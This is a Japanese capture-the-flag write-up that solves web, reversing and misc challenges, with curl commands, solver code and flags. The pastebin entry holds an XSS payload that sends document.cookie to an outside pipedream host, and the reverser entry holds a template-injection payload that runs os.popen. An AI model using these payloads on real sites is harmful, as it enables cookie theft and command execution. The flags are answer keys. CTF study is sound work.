問題

[web]secure-page

以下のところよりadmin = trueであればいいことがわかります。

...
    if admin == '':
        headers['set-cookie'] = 'admin=false'

    if admin == 'true':
        return (200, '''
            <title>Secure Page</title>
            <link rel="stylesheet" href="/style.css" />
            <div class="container">
                <h1>Secure Page</h1>
                %s
            </div>
        ''' % os.environ.get('FLAG', 'flag is missing!'), headers)
...

HeaderにCookie: admin=trueを置いてリクエストを叩けばいいです。

curl -H 'Cookie: admin=true' https://secure-page.mc.ax
hope{signatures_signatures_signatures}

[web]reverser

以下のところでテンプレートインジェクションができそうです。

@app.post('/')
def reverse():
...
    output = request.form.get('text', '')[::-1]
    return render_template_string(result % output)

outputは逆文字列になることに注意して、書きます。

i = "{{url_for.__globals__.os.popen('cat flag-f5953883-3dae-4a0f-9660-d00b50ff4012.txt').read()}}"
print(i[::-1])
# => }})(daer.)'txt.2104ff05b00d-0669-f0a4-ead3-3883595f-galf tac'(nepop.so.__slabolg__.rof_lru{{

FLAG : hope{cant_misuse_templates}

[web]flag-viewer

user=adminであればいいことがわかります。

あとは、--verboseオプションなどでレスポンスをすべて見ることに注意します。

curl --verbose -d 'user=admin' -X POST https://flag-viewer.mc.ax/flag
...
< location: /?message=hope%7Boops_client_side_validation_again%7D
...

FLAG : hope{oops_client_side_validation_again}

[web]pastebin

adminbotはホスト名と同じ名前のページにアクセスしたときにCookieをセットするので、 XSSでlocationを書き換えてリダイレクトされるようにします。

(adminbot.js)

await page.setCookie({ name: 'flag', value: flag.trim(), domain: 'pastebin.mc.ax' })

/flashがあることに気づければ、messageクエリにXSSがありそうなことに気がつけます。

(index.js)

app.get('/flash', (req, res) => {
  const message = req.query.message ?? '';
  res.set('set-cookie', `error=${message}`);
  res.redirect('/');
});

https://admin-bot.mc.ax/pastebinから次のようなURLを入力することで、 フラグを得ることができます。

https://pastebin.mc.ax/flash?message=<script>location=`https://eoyyukk2qvix5xq.m.pipedream.net?cookie=${document.cookie}`</script>

FLAG : hope{the_pastebin_was_irrelvant}

[web]point

type importantStuff struct {
	Whatpoint string `json:"what_point"`
}
...
if strings.Contains(string(body), "what_point") || strings.Contains(string(body), "\\") {
	fmt.Fprintf(w, "Something went wrong")
	return
}
...
if whatpoint.Whatpoint == "that_point" {
	fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
	return
}

{"what_point":"that_point"}を送ればいいと思いましたが、 真ん中の行でフィルタリングされているのでwhat_pointは使えません。

しかし、Go言語のJSONの仕様を確認すると、構造体What_pointでも同じように扱えるようです。

curl -X POST -d '{"What_point":"that_point"}' https://point.mc.ax
Congrats! Here is the flag: hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

FLAG : hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

[rev]slices

...
if len(flag) != 32: fail()

if flag[:5] != 'hope{': fail()
if flag[-1] != '}': fail()
if flag[5::3] != 'i0_tnl3a0': fail()
if flag[4::4] != '{0p0lsl': fail()
if flag[3::5] != 'e0y_3l': fail()
if flag[6::3] != '_vph_is_t': fail()
if flag[7::3] != 'ley0sc_l}': fail()
...

以下の条件を満たす文字列がフラグであることがわかります。

  • フラグは32文字
  • 5文字目から3の倍数の場所にi0_tnl3a0が置かれる
  • 以下同様

これらを満たすような文字列を生成します。

flag = ['']*32
f = 'hope{'
for i in range(32):
    if i < 5:
        flag[i] = f[i]
    if i == 31:
        flag[i] = '}'

f0 = 'i0_tnl3a0'
a_f0 = []
fi = 0
for i in range(32-5):
    if i % 3 == 0:
        a_f0.append(f0[fi])
        fi += 1
flag[5::3] = a_f0

f1 = '{0p0lsl'
a_f1 = []
se = 0
for i in range(32-4):
    if i % 4 == 0:
        a_f1.append(f1[se])
        se += 1
flag[4::4] = a_f1

f2 = 'e0y_3l'
a_f2 = []
th = 0
for i in range(32-3):
    if i % 5 == 0:
        a_f2.append(f2[th])
        th += 1
flag[3::5] = a_f2

f3 = '_vph_is_t'
a_f3 = []
fo = 0
for i in range(32-6):
    if i % 3 == 0:
        a_f3.append(f3[fo])
        fo += 1
flag[6::3] = a_f3

f4 = 'ley0sc_l}'
a_f4 = []
fif = 0
for i in range(32-7):
    if i % 3 == 0:
        a_f4.append(f4[fif])
        fif += 1
flag[7::3] = a_f4

print(''.join(flag))

FLAG : hope{i_l0ve_pyth0n_slic3s_a_l0t}

[rev]sequence

Ghidraで解析し、変数名などがわかるように整形してあります。

...
  else if (a_input[0] == 0xc) {
    for (i = 1; i < 6; i = i + 1) {
      num = a_input[i + -1] * 3 + 7;
      mask = (uint)(num >> 0x1f) >> 0x1c;
      if (a_input[i] != (num + mask & 0xf) - mask) {
        isTrue = 0;
        goto LAB_00101305;
      }
    }
...

これらを満たす6つの数字を生成します。

#include <stdio.h>
int main(void) {
    int num;
    int mask;
    int input[6] = {0xc, 0x0, 0x0, 0x0, 0x0, 0x0};
    for(int i = 1; i < 6; i++){
        num = input[i - 1] * 3 + 7;
        mask = (num >> 0x1f) >> 0x1c;
        input[i] = (num + mask & 0xf) - mask;
    }
    for(int i = 0; i < 6; i++)
        printf("%d ", input[i]);
}

//=> 12 11 8 15 4 3

FLAG : hope{definitely_solvable_with_angr}

[misc]orphan

flagが追加されたコミットハッシュに移動して、flag.txtを見るだけです。

$ cat .git/logs/HEAD
0000000000000000000000000000000000000000 2ce03bc4ae69cd194b7680b18172641f7d56fbbf William Wang <defund@users.noreply.github.com> 1658084429 -0400       commit (initial): add foo
0000000000000000000000000000000000000000 2ce03bc4ae69cd194b7680b18172641f7d56fbbf William Wang <defund@users.noreply.github.com> 1658084534 -0400       checkout: moving from flag to main
0000000000000000000000000000000000000000 b53c9e6864ed176ea0192fd8283362a41d94906c William Wang <defund@users.noreply.github.com> 1658084626 -0400       commit (initial): add flag
b53c9e6864ed176ea0192fd8283362a41d94906c 2ce03bc4ae69cd194b7680b18172641f7d56fbbf William Wang <defund@users.noreply.github.com> 1658084645 -0400       checkout: moving from flag to main

$ g checkout b53c9e6864ed176ea0192fd8283362a41d94906c
$ cat flag.txt
hope{ba9f11ecc3497d9993b933fdc2bd61e5}